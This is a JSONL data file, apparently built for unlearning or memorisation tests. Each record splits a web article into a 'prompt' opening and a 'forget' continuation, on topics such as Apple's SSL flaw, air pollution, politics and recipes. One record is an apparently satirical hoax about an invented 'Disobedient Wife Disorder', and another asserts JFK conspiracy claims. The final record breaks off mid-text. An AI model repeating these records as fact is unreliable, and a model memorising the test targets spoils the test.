{"prompt": "First, Apple revealed a critical bug in its implementation of encryption in iOS, requiring an emergency patch. Then researchers found the same bug is also included in Apple's desktop OSX operating system, a gaping Web security hole that leaves users of Safari at risk of having their traffic hijacked. Now one researcher has found evidence that the bug extends beyond Apple's browser to other applications including Mail, Twitter, Facetime, iMessage and even Apple's software update mechanism. On Sunday, privacy researcher Ashkan Soltani posted a list of OSX applications on Twitter that he says he's determined use Apple's \"secure transport\" framework,", "forget": "the coding library that developers depend on to build programs that securely communicate online using the common encryption protocols TLS and SSL. The full list, which isn't comprehensive given that Soltani only analyzed the programs on his own PC, is shown below. (Soltani has underlined the vulnerable application names in red.) Soltani, an independent researcher whose recent work has included analyzing the surveillance documents leaked by NSA contractor Edward Snowden on behalf of the Washington Post, warns that the security of several applications on that list are severely compromised, including Apple's email program Mail, scheduling app Calendar and its official Twitter desktop client. The bug affects how Apple devices authenticate their secure connection with servers, allowing an eavesdropper to fake that verification and hijack or corrupt traffic using what's known as a \"man-in-the-middle\" attack. \"All these apps would be vulnerable to the same man-in-the-middle vulnerability outlined on Friday,\" Soltani says. Some of the affected apps such as iMessage and Facetime have added security that could reduce the effects of the security vulnerability, though Soltani warns that for the iMessage instant messaging application the initial login at Apple's me.com website may be compromised, even if the messages themselves remain encrypted, and that similar problems may exist for Facetime. \"There are going to be parts of the protocol like the initial 'handshake' that rely on TLS, and those will be vulnerable to man-in-the-middle attacks,\" Soltani says. Equally troubling is the notion that Apple's Software Update application is affected, which means that Apple's mechanism for pushing new code to OSX machines, including security updates, could be compromised. Soltani notes that in addition to SSL and TLS, Software Update also checks for Apple's signature on any code that it asks users to install. But he adds that the code-signing protection hasn't stopped malware from"}
{"prompt": "Topics: air pollutants, air pollution, health disparities, health inequities, urban health, urban populations Despite overall reductions in ambient air pollution in Massachusetts, exposure continues to fall unequally along racial/ethnic, income, and education lines, according to a new study led by a School of Public Health researcher. The study, published in Environmental Research, found concentrations of nitrogen dioxide (NO 2 ) and fine particulate matter (PM 2.5 ) decreased across the state between 2003 and 2010, but exposure remained higher in predominantly Hispanic and non-Hispanic black communities. Within the state\u2019s cities, the researchers found exposure inequality actually increased slightly between racial/ethnic", "forget": "groups during the study period. \u201cAlthough ambient air pollution concentrations have decreased across all of Massachusetts, these reductions had a higher relative impact on populations that were already in the lowest exposure categories, hence the increase in exposure inequality,\u201d says Patricia Fabian, research assistant professor of environmental health and the study\u2019s senior author. While numerous previous studies have shown disparities in air pollution exposure at one point in time, the current study was one of the first to track those disparities over space and time, allowing for a more nuanced picture of exposures as demographics shift in a given area. Using data from the 2000 and 2010 Census and the 2006\u20132010 American Community Survey on race/ethnicity, income, educational attainment, and rural/urban land classification, the researchers calculated exposures using modeled PM 2.5 concentrations from 2003 to 2010 and NO 2 concentrations from 2005 to 2010. The researchers then characterized the disparities using the Atkinson Index, a quantitative measure for relative inequality. The researchers found the average annual PM 2.5 concentrations across the state decreased by 35 percent between 2003 and 2010 and the average annual NO 2 concentrations decreased by 24 percent between 2005 and 2010. However, non-Hispanic black populations continued to have the highest exposures, followed by Hispanic populations. The gap between exposures for non-Hispanic black populations and non-Hispanic white populations remained the same, while the gap between Hispanic and non-Hispanic white populations slightly increased. The authors noted that exposure to NO 2 was more dramatically unequal than exposure to PM 2.5 , perhaps because NO 2 is strongly linked to automobile exhaust, which can vary within a city based on traffic patterns, while PM 2.5 is derived from a wide variety of sources and tends to have more regional concentrations. \u201cGreater inequalities in urban areas, where there is often"}
{"prompt": "Despite the blur of activity by innumerable candidates, the 2016 presidential campaign so far is a mostly shapeless enterprise, save for one dominant factor: the prominence of money in the narrative. More than anything, money has been the defining characteristic of the race, highlighted by the political and private activities of the brand names of Clinton and Bush. In their own ways, Hillary Rodham Clinton and Jeb Bush have brought unintentional attention to the role of money in politics and public life, to the intersection of money and political and public influence, and to the general absence of restraints, self-imposed", "forget": "or enforced. For Clinton, the story is partly about non-campaign money, about fundraising for the Clinton Foundation as well as the extraordinary amounts of money she and former president Bill Clinton have been paid for speeches since early 2014. For Bush, it is the apparent disregard for the spirit of campaign finance laws as he travels the country, filling up his super PAC with tens and tens of millions of dollars, all the while posing as someone still trying to decide whether he will become a candidate. Clinton cannot shake off questions and criticism about how she and her husband have cashed in after leaving public service. Even though much had been written about the amounts each of the Clintons was being paid for speeches to corporate, trade-association or educational institutions, the revelation last week that they have received about $25 million for 104 speeches since early 2014 was eye-popping. Hillary Clinton likes to say the deck is stacked against average Americans. She said Tuesday in Iowa that she wants to \u201creshuffle\u201d that deck. No doubt that is a genuine belief from a Democratic politician looking at the state of the economy and comes with a conviction that public policies can and should be geared to alleviate the imbalance, at least somewhat. But she and her husband also are evidence of the imbalance. Bill Clinton\u2019s declaration that he will continue to make paid speeches because, as he told NBC News, \u201cI gotta pay our bills\u201d sounds tone-deaf in the face of it all. The Clinton Foundation points to another problem of a Clinton presidential candidacy: the potential conflicts of interest \u2014 real or perceived \u2014 that the foundation\u2019s fundraising could pose should Hillary Clinton win the White House in 2016. The charitable foundation does good work \u2014 few would dispute"}
{"prompt": "By Ray Charlston Several weeks ago, Margaret O\u2019Reilly began seeing a local psychiatrist in her city of Seattle Washington. Dr. Ahmed Abdullah Rahman is a licensed psychiatrist who originally practiced in Mecca, Saudi Arabia. He has been practicing psychiatric medicine in the US for more than 10 years. After one session, according to Mrs. O\u2019Reilly, Dr. Rahman stunned her by suggesting that she was suffering from \u201cDisobedient Wife Disorder.\u201d The treatment for \u201cDisobedient Wife Disorder\u201d (or DWD), which is even more controversial, involves light beatings using a stick called a \u201cmiswak.\u201d The punishment is administered by the woman\u2019s husband, along", "forget": "with verbal admonitions from him for his wife to be obedient, or to end her rebellion. The practice is designed, allegedly, not to injure a woman or to harm her, but to shame and humiliate her into compliance. The controversial treatment is allegedly about \u201cBringing the woman back to her senses and back to reality\u201d according to one booklet on the topic. \u201cDisobedient Wife Disorder\u201d remains a controversial diagnosis, sparking strong feelings among those on both sides of the issue. Most of the psychiatrists in the West who do accept the existence of DWD are Muslim, and this fact is often cited by Islamophobes and reactionaries. The American Psychiatric Association, as well as the American Psychological Association, both reject the diagnosis. When I began writing this article, Margaret O\u2019Reilly was suing Dr. Rahman for medical malpractice. According to Mrs. O\u2019Reilly \u201cI have always been progressive and strongly anti-racist. I don\u2019t have a prejudiced bone in my entire body! When I learned that Dr. Ahmed was a devout Saudi Muslim, that he had a special room just for praying in his office, and that the government of Saudi Arabia expelled him from their country for alleged \u2018extremist\u2019 activities and associations, I didn\u2019t judge. This has nothing to do with Dr. Ahmed\u2019s religion; this is about discrimination against women and medical malpractice. For a male doctor to tell me that I have \u201cDisobedient Wife Disorder\u201d, and that I require beatings from my husband, is outrageous and intolerable. This isn\u2019t about Islam at all; it\u2019s about male-chauvinism. Islam is a beautiful religion of peace and moderation practiced by millions of people around the world.\u201d When I asked Dr. Rahman for his comment, responding to Mrs. O\u2019Reilly\u2019s quote, he stated that \u201cI am a devout Muslim. I strongly object and take exception to Mrs."}
{"prompt": "I recently filed House Bill 396 to illustrate the absurdity of government encroachment into women's personal and medical decisions currently running amok in the Kentucky General Assembly and Bevin Administration. A rash of anti-abortion bills have been filed, and one is now law that places extreme hardship and emotional stress upon women and strips away their rights to make choices about their health, future and wellbeing. Advertisement: With just a few exceptions, these efforts are being perpetrated upon Kentucky women by white men, under the guise of religious rants and false facts, but in reality their crusade is for political", "forget": "gain and reelection purposes. The conservative movement sweeping Kentucky has put women in the cross hairs of its battle to take over government at all levels, and it's time we recognize this hypocrisy for what it is. As these legislators and our governor increase efforts to mandate their presence in our doctor's examining rooms I believe it is time we regulate men's reproductive choices. House Bill 396 would allow for that fair play by having a man visit his doctor twice and have a signed permission slip from his spouse to obtain a prescription for erectile dysfunction. He would also be required to swear on a Bible that his prescription would only be used when having sexual relations with his current spouse. That may sound like salacious, outrageous or even comical measures, but I assure you women in Kentucky aren't laughing as they struggle with gut wrenching decisions about unintended pregnancies now made more complicated and burdensome by legislative intrusion. Under House Bill 396, prescriptions like Viagra that promote sexual performance could protect unmarried women from becoming pregnant by philandering men, thus reducing the number of abortions from unwanted pregnancies. Advertisement: It would seem that the anti-abortion proponents \u2014 who espouse family values \u2014 should applaud House Bill 396 especially when given the opportunity to declare their honest intentions upon the Holy Bible. And that these same concerned folks would champion sex education and birth control access to enlighten their constituents about unintended consequences including sexually transmitted diseases. However, my decades-long advocacy for women's rights tells me that House Bill 396, a true leveling of the reproductive rights playing field, will not see the light of day in a legislative committee meeting any time soon. The stranglehold male lawmakers have on legislating private medical issues applies solely to Kentucky women"}
{"prompt": "Hey guys, Welcome to the Official IW Avatar Design Contest! How does it work? How long do I have? How do I submit my masterpiece? What do we get for rewards? Grand Prize Runner up Official voting: Submissions #1 #2 #3 #4 #5 #6 #7 #8 #9 #10 #11 #12 #13 #14 #15 #16 #17 #1#2#3#4#5#6#7#8#9#10#11#12#13#14#15#16#17 The Infinity Wars community has always been a place of creativity and inspiration, whether it's card design, artwork, videos or guides and lore.Should you have an unquenchable desire to make artwork that is your own personal representation of something, here's your way to do", "forget": "it for IW.This is my way of letting you express that and get rewarded for it.You'll create an Avatar of your own, based on Infinity Wars themes. Doesn't have to be an existing character, doesn't have to be anything in-game if you don't want it to be. It just has to be Infinity Wars themed images.Players can submit multiple images, I will create a list of all the submissions for us to vote on without revealing the artist until a winner is chosen to keep complete anonymity.Submissions will close on March 19th. So make sure you post your submission on or before that date. Through this Google Form . Submissions must be presented in ain any size.When the winners are selected I'll contact you to export your image in a 512x512 resolution, the resolution that our Avatars use.*Dimensions for submissions aren't important so long as it's a square, just remember that you're creating an Avatar, and you'll have to keep in mind that your image will have to look good as a smaller 512x512Please remember to use a simple link to your image such as Imgur or something of that nature., this will be more of a creativity and vision contest rather than skill with a drawing pad.Your avatar will be given to your account for you to show off to the world. On top of that, you have the option of telling us what you'd like done with your Avatar. Do you want it put in the store to be sold? Do you want it given to you and your friends? You tell us. You will also receive 5000 Lightmare Points!Your avatar will be credited to your account for you to show off to the world, and you'll get 2500 Lightmare Points for your awesome effort!I'll be monitoring the"}
{"prompt": "Kaju katli recipe with step by step photos. Kaju katli (vegan cashew fudge) recipe or kaju barfi recipe is one of the most sought after Indian sweet recipes. Here is an easy kaju katli recipe for beginners to try without sugar syrup. These thin, melt in mouth and smooth kaju katlis are just like what you get in sweet stalls. This is one of the most tried and tested recipes from the blog too. Do try out this fool proof kaju katli recipe as a treat to the family or edible gift during festivals like Diwali, navratri, Ganesh chaturthi etc.", "forget": "Kaju katli recipe or kaju barfi recipe or Indian vegan cashew fudge recipe is a royal Indian sweet that takes a pride position in most Indian festival treats. It is one of the most loved sweets and often gifted to friends and relatives during festivals like diwali. I have tried making kaju katli recipe 2-3 years before and did not get it right. I always have a problem with sugar syrups . I try to stay away from sweets calling for even one string syrup and the most popular recipe of kaju katli is the one with powdered cashews and one string syrup,obviously not my cup of tea. I so badly wanted to try kaju katli recipe as it one of our favorite sweets and I was desperately searching for kaju katli without sugar syrup recipe. I found this easiest recipe for kaju katli in Mrs Mallika Badrinath\u2019s 100 sweet varieties and there was no need for sugar syrup.You just have to grind sugar and cashew,mix and cook,can it get easier than this . Usually varak (edible silver foil) is placed on kaju katli but i never use it. Though this is an easy kaju katli recipe we need to be extremely focused and careful as when to stop cooking,kneading etc. Please be sure to check the notes section for more pointers. This kaju katli recipe is so rich that you wont believe it is vegan.I have used just a drop of ghee just to grease the plate and that can be avoided too if you wish. There is absolutely no need for ghee in this recipe, this is a vegan Indian cashew fudge recipe \ud83d\ude42 I can confidently say this is the best recipe for kaju katli that even beginners can try without any fear. I really urge you"}
{"prompt": "ALLEN PARK, Mich. -- The Detroit Lions have hired Jim Caldwell as head coach, ending a two-week search during which they interviewed only four candidates. The 58-year-old Caldwell fit a lot of the criteria Detroit had during its search. The Lions wanted someone with head-coaching experience and experience on offense, apparently preferably with quarterbacks. \"On behalf on my entire family, I want to express how thrilled we are with the appointment of Jim Caldwell as our new head coach,\" Lions owner and chairman William Clay Ford said. \"We believe Jim is the right man to lead our team and deliver", "forget": "a championship to our fans.\" Caldwell became the second minority candidate to land a head-coaching job this month, joining new Tampa Bay Buccaneers coach Lovie Smith. \"To be openly frank, we felt that he should be the guy,\" Fritz Pollard Alliance Foundation chairman John Wooten said Tuesday afternoon. \"We really wanted him in that particular team. Thought it was an excellent fit.\" Caldwell was the first person to interview for the Detroit job, followed by former Texans coach Gary Kubiak, former Titans coach Mike Munchak and former Chargers offensive coordinator Ken Whisenhunt. Detroit was spurned by Whisenhunt, thought to be the top choice, on Monday when he chose the Titans job. Jim Caldwell is the second minority candidate to land an NFL head-coaching job this month, joining Tampa Bay's Lovie Smith. Rob Carr/Getty Images Caldwell has been a head coach at two prior stops -- from 2009 to 2011 with the Colts and from 1993 to 2000 with Wake Forest. He replaces Jim Schwartz, who was fired following Detroit's late-season collapse that resulted in a 7-9 finish. Caldwell, who turns 59 on Thursday, posted a 26-22 record in three seasons after replacing Tony Dungy in Indianapolis. The Colts reached the Super Bowl in Caldwell's first season at the helm and went to the playoffs the following season. In fact, Caldwell has more career playoff wins (two) than the Lions organization has over the last 55 years combined. Since winning the NFL title in 1957, the Lions are 1-10 in the postseason. After being fired by Wake Forest, Caldwell became a quarterbacks coach in the NFL, first for Tampa Bay, where he worked with Brad Johnson in 2001, and then with Indianapolis, where he was Peyton Manning's position coach from 2002 until 2008. Fired by Indianapolis in 2011, Caldwell went to"}
{"prompt": "Crispy Rice Crispy Rice is unaware they can edit their status GTR.co.uk seasoned Member Join Date: Apr 2009 Posts: 93 Accident: Don't do what I did.... I had a low speed crash into the back of a white van, it was a badly surfaced road, we were stopped, pulled away.... and the person infront of the van stopped for no reason, causing the van to tap the tow bar of the car infront and me in sympathy to do the same to the van. Ok enough of the excuses, I am posting here to make sure noone makes the same", "forget": "mistake I did. I thought long and hard about posting this, but i think it is important that other GTR owners see this so they aren't stung by a careless accident and the GTR Tax! I bumped into tho the white vans tow bar causing this small crack in my bumper... Unfortunately it also set off the Pedestrain Saftey system, where the bonnet pops up.... Which is a one use system.... You need to replace the bumper, rams, bonnet hinges.... and of course the ECU When the accident happened i called my dealer and asked them to collect the car and told them i would just pay for it without putting it through my insurance. Then i found out the total cost of the repairs. Eleven Thousand Pounds. I'm pleased to report the car has been repaired perfectly, even if it took 5 weeks! But I fear GTR insurance won't be so cheap next year for any of us. Sorry about that! But don't do what I did. And if you hit a pedestrain, make sure you are reveresing Updated for new readers - 24th November 2009 This issue has been raised with Nissan UK and following their investigations they have asked me to post the following statement: Issue of a high repair bill for a low speed front impact on a GT-R \"As a company we cannot comment in any detail on an individual customer case. This is a private matter and we are currently in contact with the customer, his insurance company and the dealer to help resolve this particular situation. What we can confirm is that Nissan has a policy of continuous improvement, and as such is constantly reviewing parts prices, suppliers, and customers\u2019 feedback. In this instance, thanks to the comments received, we have discovered a"}
{"prompt": "BOULDER, CO--(Marketwired - Jan 15, 2015) - The most successful business leaders in the nutrition industry for 2014 have been announced in Nutrition Business Journal's (NBJ) annual Business Achievement Awards issue. Recipients of the NBJ Business Achievement Awards will be honored during the 18th annual NBJ Summit, July 20-23, at the St. Regis Hotel Monarch Beach Resort in Dana Point, California. NBJ is the premier publication for the nutrition, natural, organic, dietary supplement and integrative medicine industries. Each year, the publication recognizes the industry's most notable business leaders in its annual Business Achievement Awards issue. \"We're honored to be calling", "forget": "attention to every single one of these companies, not only for their individual successes but also for the ways in which they support and inspire the entire industry,\" said John Bradley, NBJ's content director and editor-in-chief. \"That goes for everyone from a Whole Foods Market down to the 15-year-old inventor of Define Bottle.\" For Efforts on Behalf of the Industry, Omega-3 Coalition is honored for rallying consumer interest in omega-3s led by GOED and key industry players. Receiving an honorable mention is Pom for its win at the Supreme Court against Coca-Cola's misleading label claims on its pomegranate drink, setting a precedent for other natural product companies to defend themselves against established corporations. Aker BioMarine receives an award in Sustainability for taking the lead in ensuring sustainable harvests in Antarctic krill grounds. Honorable mention goes to Big Cricket Farms for becoming the first 100 percent, food-grade cricket supplier in the expanding industry of cricket-based flours and foods. The Organic Excellence award goes to Harmless Harvest for becoming America's first Fair for Life Social & Fair Trade certified coconut water and investing in the rural community of Thailand by building its facility there and creating more than 100 full-time jobs. Receiving an honorable mention is Orgenetics for continuing to champion certified organic supplements. Robert Craven, CEO of FoodState, wins the Management Achievement award for orchestrating the sale of whole-food supplements innovator FoodState and its flagship brand, MegaFood, to supplement giant Pharmavite. Honorable mention is awarded to Twinlab for CEO Tom Tolworthy's leadership that formed Twinlab Consolidation Corp. (TCC) in a strategic, employee-led buyout with TCC's first acquisition being Twinlab Corp. that then completed a merger into Twinlab Consolidated Holdings Inc., allowing the company to become publicly traded on the stock market. Receiving the Education award is Manitoba Harvest Hemp Foods for"}
{"prompt": "We all know a guy like this. He spends his day on the internet telling and re-telling stories about how his martial ancestors were the toughest fighters in the world. We hear a bunch of stories about the ancestors and they all seem to imply or outright assert that their awesomeness gives the lineage snob the right to talk trash about other arts. These guys are universally despised and, as a general rule, suck at martial arts. Too much time on the keyboard and not enough training. But what if we understood that, while those guys suck, the need for", "forget": "lineage is real and can provide fantastic yardstick to gauge a school or martial artist? There are going to be 2 basic responses to that statement. The first usually comes from people who have created their own arts or know that their teachers weren't totally legit. Their response goes something like, \"All you do is talk about lineage! Why are you judging me?? Bruce Lee said to follow your own path!!\" Etc. The other response is \"I told you so!!!\" and is almost as obnoxious as the first. This response usually comes from the lineage snobs I mentioned before and, remember, we all hate those guys. But both of those people are wrong and both know it deep down inside. Lineage in martial arts has existed for a thousand years for very good reasons. It's a solid gauge of the effectiveness of the art itself and also proof that there is a complete method for teaching and transmitting the art. Effectiveness in usage and proof that the method can produce a strong next generation are vital, obviously and those are two really powerful reasons to care about lineage and they are also more laid back than a lot of people realize. Let's use medical care as a simile here. If you had a terrible disease and you had to pick a doctor for treatment, would you care where that doctor's education came from? If your options were a Harvard graduate who has done extensive post-grad education in an effort to be on the forefront of medicine, or someone\u200b who took some courses at the community college and then spent some time surfing WebMD, which would you pick? More than likely, you would pick the doctor most prepared and able to save your life. He would know the latest treatments and"}
{"prompt": "If you\u2019re a regular reader of this blog and its comments section, you\u2019re probably more than a little worried about two bits of climate science in particular: Our understanding of past climates (paleoclimate) and 5-6 C long term climate sensitivity. And if you\u2019re a frequent returner, you\u2019ve probably figured out by now that the two go hand in glove. ****** Looking back to a period of time called the Pliocene climate epoch of 2.6 to 5.3 million years ago, we find that atmospheric carbon dioxide levels were somewhat lower than they are at present \u2014 ranging from 390 to 400", "forget": "parts per million. We also find that global temperatures were between 2 to 3 degrees Celsius warmer than 1880s ranges, that glaciers in Antarctica and Greenland were significantly reduced, and that sea levels were about 25 meters (82 feet) higher than they are today. (The Totten Glacier is one of many Antarctic land ice systems that are under threat of melt due to human-forced warming. A new paleoclimate study has recently found that levels of atmospheric greenhouse gasses that are below those presently in our atmosphere caused substantial Antarctic melt 4.23 million years ago. Image source: antarctica.gov.) Given that atmospheric CO2 levels during 2017 will average around 407 parts per million, given that these levels are above those when sea levels were considerably higher than today, and given that these levels of heat trapping gasses are rapidly rising due to continued fossil fuel burning, both the present level of greenhouse gasses in the Earth\u2019s atmosphere and our understanding of past climates should give us substantial cause for concern. This past week, even more fuel was thrown onto the fire as a paleoclimate-based model study led by Nick Golledge has found that under 400 parts per million CO2 heat forcing during the Pliocene, substantial portions of Antarctica melted over a rather brief period of decades and centuries. Modeled WAIS collapse in 100-300 yrs under equilibrium 400ppm CO2 #Pliocene climate. Wilkes basin collapse 1-2000yrshttps://t.co/2hlvGKBMMr pic.twitter.com/zIkaSe0AiC \u2014 Nick Golledge (@nick_golledge) July 27, 2017 Notably, the model found that the West Antarctic Ice Sheet collapsed in just 100-300 years under the steady 400 ppm CO2 forcing at 4.23 million years ago. In addition, the Wilkes Basin section of Antarctica collapsed within 1-2 thousand years under a similar heat forcing. In total, the study found that Antarctica contributed to 8.6 meters of sea level rise"}
{"prompt": "Updates: Wikileaks Film titled The Fifth Estate Is A Propaganda Piece Against the Disclosures of Wikileaks Wikileaks Film titled MediaStan Is Produced By Julian Assange \u2014- 50th Anniversary of the Kennedy Assassination \u2013 Zachary Sklar, Screenwriter of the Film: JFK November 22, 2013 will mark the 50th anniversary of the assassination of President John F. Kennedy. More than 600 books have been written on this national tragedy and yet the implausible explanations the Warren Commission report put forward remain as the official story. We\u2019re joined today by Zachary Sklar to discuss some of those challenges and his work investigating those", "forget": "involved in the planning and covering up of assassinations. Zach Sklar: The Warren Commission was a creature appointed by Lyndon Johnson. He persuaded Earl Warren to head this commission against his wishes. He was Chief Justice of the Supreme Court at the time. To bolster him on the commission, the one who did most of the work and guided the findings was Alan Dulles, former CIA directory. A man who\u2019d been fired by John Kennedy after the Bay of Pigs invasion. The other one who was on it was Gerald Ford of course. So, there was a dissenting group of southern Congress people who really didn\u2019t have much power. Ultimately, the power was with Alan Dulles. The CIA had overthrown Mossadegh in Iran, Arbenz in Guatemala, not only overthrowing governments but assassinating leaders. The commission report \u2013 that conclusion was decided upon and then they had to come up with some reasons to support it. The reasons were designed by Arlen Specter. He was a staff lawyer at the time and later a Senator from Pennsylvania. He came up with the Magic Bullet Theory . . Because the Zapruder film came out with the time frame of 5.62 seconds and there were 3 bullets during that time frame, all the wounds in John Kennedy and John Connelly. Lee Oswald was given a paraffin test the day of his arrest. It was negative. It had proven he\u2019d not fired a rifle that day. According to the Marines, Oswald was a mediocre marksman at best. The rifle that he was supposed to have used. . . if you ask any rifle dealer what the worst rifle, the least accurate rifle you could ever come up with they would tell you its the Mannlicher-Carcano. It\u2019s called the humanitarian rifle by the Italians. All"}
{"prompt": "The flag decals that were ordered taken down by Chief Bronaugh. Photographs courtesy Maywood Fire Department. Tuesday, September 9, 2014 || By Michael Romain Today, four Maywood firefighters were sent home, pending disciplinary action, for failure to comply with a direct order, according to Chief Craig Bronaugh. A CBS Local report noted that more firefighters could be sent home tomorrow. The firefighters apparently refused to remove American flag decals from their lockers and helmets. \u201cA representative from Service Employees International Union Local 73, which represents the firefighters, met for an hour with Chief Bronaugh Tuesday afternoon, with the union hoping", "forget": "Chief Bronaugh would modify his order. Instead, he ordered the firefighters sent home immediately, pending disciplinary action,\u201d according to the CBS report. \u201cUnion spokesman Adam Rosen said he is \u2018shocked\u2019 that an agency of first responders would enforce such an order the week of Sept. 11. \u201cThe four suspended firefighters said they were told that the order was issued because of racial discord [in] the department. The four, who include two white firefighters, a black firefighter, and a fourth firefighter who is a Cuban \u00e9migr\u00e9, said no such problems exist,\u201d wrote CBS, which also reported that the four firefighters trace the issue \u201cto a decision by several firefighters to replace a tattered American flag last month in one of Maywood\u2019s firehouses. The new flag mysteriously disappeared early Aug. 23. The order on decals was issued last week.\u201d Although the CBS report indicates that the department \u201chas had no such order in the recent past,\u201d an internal memo released by the Office of Chief Bronaugh noted that this kind of conflict has nonetheless appeared before: Under no circumstances at anytime are there to be decals/stickers on Fire Department lockers or helmets. Any decals/stickers are to be removed immediately. No inquiry will be entertained regarding this matter. TO BE READ AT ALL ROLL CALLS THRU SEPTEMBER 10, 2014 This was in response to an inquiry regarding an American Flag being put up in the fire station (replacing a torn and tattered flag that previously existed). That flag was stolen on the very next shift day. Firefighters were upset that the flag was stolen and in response placed American Flag decals on their personal lockers in the stations. This is not the first time that a flag incident has occurred in the Maywood Fire Department. Approximately 10 years ago, all American Flag decals"}
{"prompt": "Black Lives Matter. All Lives Matter. Two phrases that are supposed to go hand in hand but have somehow evolved into polar opposites. As I was walking through the town of Bethlehem, headed back to my room, I spotted a white man walking toward me, donning a shirt with three words: All Lives Matter. I grinned as he walked by, looking him straight in the eye. He quickly turned away as if he was uncomfortable. Uncomfortable. \u201cAll Lives Matter\u201d is a phrase that makes my blood boil. Now, I don\u2019t necessarily disagree with the statement itself, but the basis of", "forget": "its creation and why people use it is downright disrespectful. Just to clarify, I\u2019m not an activist, nor do I like to indulge in political conversations pertaining to racial conflicts. Don\u2019t expect me to entertain your personal hot takes and refutes. I\u2019m truly proud to be African-American. I take pride in being a part of the 4 percent of African-American students at Lehigh. I take pride in defying stereotypes by being somewhere that \u201cmy type\u201d is not supposed be. I take pride in seeing the astonishment on someone\u2019s face when I utter the words, \u201cI go to Lehigh University.\u201d So why does the saying \u201cAll Lives Matter\u201d irritate me? Well, the entire movement was created in response to Black Lives Matter. Let\u2019s be real, there would be no All Lives Matter if there was no Black Lives Matter. It\u2019s based on misconceptions of the true meaning of Black Lives Matter and simply some of society being uncomfortable with black people speaking out. Uncomfortable. Black Lives Matter is not a movement stating that blacks are superior to everyone else or blacks are the only ones experiencing struggle in this country. It\u2019s a movement that is meant to shed light on the area of violence and systemic racism toward black people. According to a Rasmussen Reports poll, 82 percent of black voters think most black Americans receive unfair treatment from the police and just 19 percent of black voters think the justice system is fair to blacks and Hispanics. It\u2019s not irrational to think this way after all the recent events that have happened involving unjustified killings of blacks by police officers. In 2014, Arthur Chu, an American columnist, tweeted \u201cDo people who change #BlackLivesMatter to #AllLivesMatter run thru a cancer fundraiser going \u2018THERE ARE OTHER DISEASES TOO.'\u201d When you say All"}
{"prompt": "The German team stands behind its national flag at the start of the group-stage match of the FIFA U-20 World Cup between Germany and Vanuatu in Seogwipo, South Korea, on May 26. (Wallace Woon/European Pressphoto Agency) For decades after the atrocities committed by the Nazis during World War II, Germans had trouble defining themselves as a nation. But the arrival of hundreds of thousands of newcomers appears to have thrust the country into a new, full-fledged identity crisis. Recently, Interior Minister Thomas de Maizi\u00e8re listed 10 Martin Luther-style \u201ctheses\u201d on what all Germans have \u2014 or should have \u2014 in", "forget": "common. The article published by the German daily Bild sparked a heated debate about the controversial term \u201cleitkultur\u201d (\u201cguiding culture\u201d or \u201cleading culture\u201d). Along with less-controversial qualities, such as the typically German trait of valuing education not simply as a means to an end, the interior minister seemed to suggest that Muslim newcomers should be willing to adapt to local customs. \u201cWe say our name. We shake each other\u2019s hand when we greet,\u201d he wrote. \u201c . . . We are an open society. We show our face. We are not burqa.\u201d Some accused de Maizi\u00e8re of blatant populism and attempting to co-opt the anti-immigrant message of the Alternative for Germany (AfD) party ahead of federal elections in September. Others mocked the text by creating their own lists, relishing in German stereotypes, such as a love for excessive bureaucracy. \u201cIf there\u2019s no form for it, it doesn\u2019t really exist\u201d was among the \u201c100 points Thomas de Maizi\u00e8re forgot\u201d offered by writer Kathrin Wessling. Social-media users began posting pictures of many German tourists\u2019 favorite footwear alongside the caption: \u201cWe are not burqa, we are socks and sandals.\u201d Despite the criticism, a recent poll published by the Focus newsmagazine found that more than half of Germans think their country is in need of a \u201cleitkultur.\u201d \u201cGerman society due to the migration of recent years has a need to reassure itself and to define what\u2019s indispensable for it,\u201d said Jens Spahn, a lawmaker for Chancellor Angela Merkel\u2019s Christian Democratic Union party. \u201cA healthy patriotism . . . is something that Germans are struggling with based on their history, something they are slowly and carefully developing.\u201d Spahn acknowledged that the number of Muslim women wearing the full-face veil is low in Germany, but he said: \u201cPeople who think their wife should be fully veiled"}
{"prompt": "If you\u2019re thinking about getting pastel hair, you should consider the pros and cons first. Just kidding. Pastel hair is awesome! If you\u2019re torn, do it! If you\u2019re not sure if pastel hair would suit you, do it! You\u2019ll be glad you did. If you want to know how to get pastel hair, keep reading! Below are all the products you\u2019ll need. They\u2019re clickable, so check them out. The white toner isn\u2019t mandatory; you only absolutely need the bleaching kit, the conditioner, and your choice of hair dye. In addition to this, you\u2019ll need some gloves, a shower cap, and", "forget": "a mixing bowl. The whole process should end up costing under 25$. [metaslider id=1039] Step 1: How To Bleach Your Hair The first step is bleaching your hair. If you have anything but light blonde hair, you absolutely need to bleach it if you want the pastel color to actually be pastel. If you have already blonde hair, skip this step. When choosing your bleaching product, it\u2019s important to go for 30 volume. Anything under that is too weak for achieving pastel hair, and anything over that is too strong for safety \u2014 bleach can fry your hair, so be very careful! I recommend this nifty Manic Panic bleaching kit, which also contains gloves, a brush, and a mixing bowl. Tip: If you have very thick or long hair, you WILL need 2 boxes! It ends up going a bit over budget, but it\u2019s well worth it! The first time I bleached my hair, I had to pause the job mid-bleaching and ask my friend to kindly go buy another box for me. Get two if you\u2019re unsure! Make sure your hair hasn\u2019t been washed for a few days before bleaching. Bleach is harsh on your scalp, and the oils will help protect it. If it\u2019s your first time, have someone else help you and bleach your hair for you. Bleaching hair is tricky. Be safe! Follow the instructions on the packaging. A strand test is a very good idea! If your hair still isn\u2019t light enough after bleaching, consider a white toner. If you want pastel blue hair, your hair has to be a very white blonde. Any yellow in your hair and the blue dye will turn green! Step 2: How to Get Pastel Hair There is no \u201cpastel hair dye\u201d. Instead, you will have to mix regular"}
{"prompt": "Here's what you need to know... Due to harsh laws based on Reefer Madness-like myths, the personal use of steroids for aesthetic purposes can land lifters in prison or get them fined for more money than they probably have. Ironically, steroid usage in sports, which these laws were created to curb, has not decreased. Steroids and other PEDs have been in widespread use in bodybuilding and Olympic lifting since the late 50s. Their usage in baseball, the Ben Johnson debacle, Lyle Alzado's questionable death, the Lance Armstrong farce, and the sad case of Taylor Hooton brought steroids to the forefront.", "forget": "Politicians and those with agendas took full advantage. Although it has many medical uses and is now commonly prescribed to aging males, the illegal use of testosterone puts you into the same criminal category as a heroin addict. And science has never backed up the hysterical claims made by anti-steroid zealots. \"I think it's absolutely disgraceful that our government should be in the position of converting people who are not harming others into criminals, of destroying their lives, putting them in jail.\" - Milton Friedman The following account is something I lived through and was a small part of. It is my view of the fascinating history of how steroids emerged as an ergogenic aid in sports and subsequently became an ominous facet of the modern age - becoming criminal while at the same time assaulting the very core of America by representing a proposed danger to our youth and, worse still, sullying the most hollowed of all things American - baseball. This odd journey, especially the inception, involved numerous colorful characters from all over the globe who together eventually created a culture. Many of you reading this have adopted this culture without perhaps 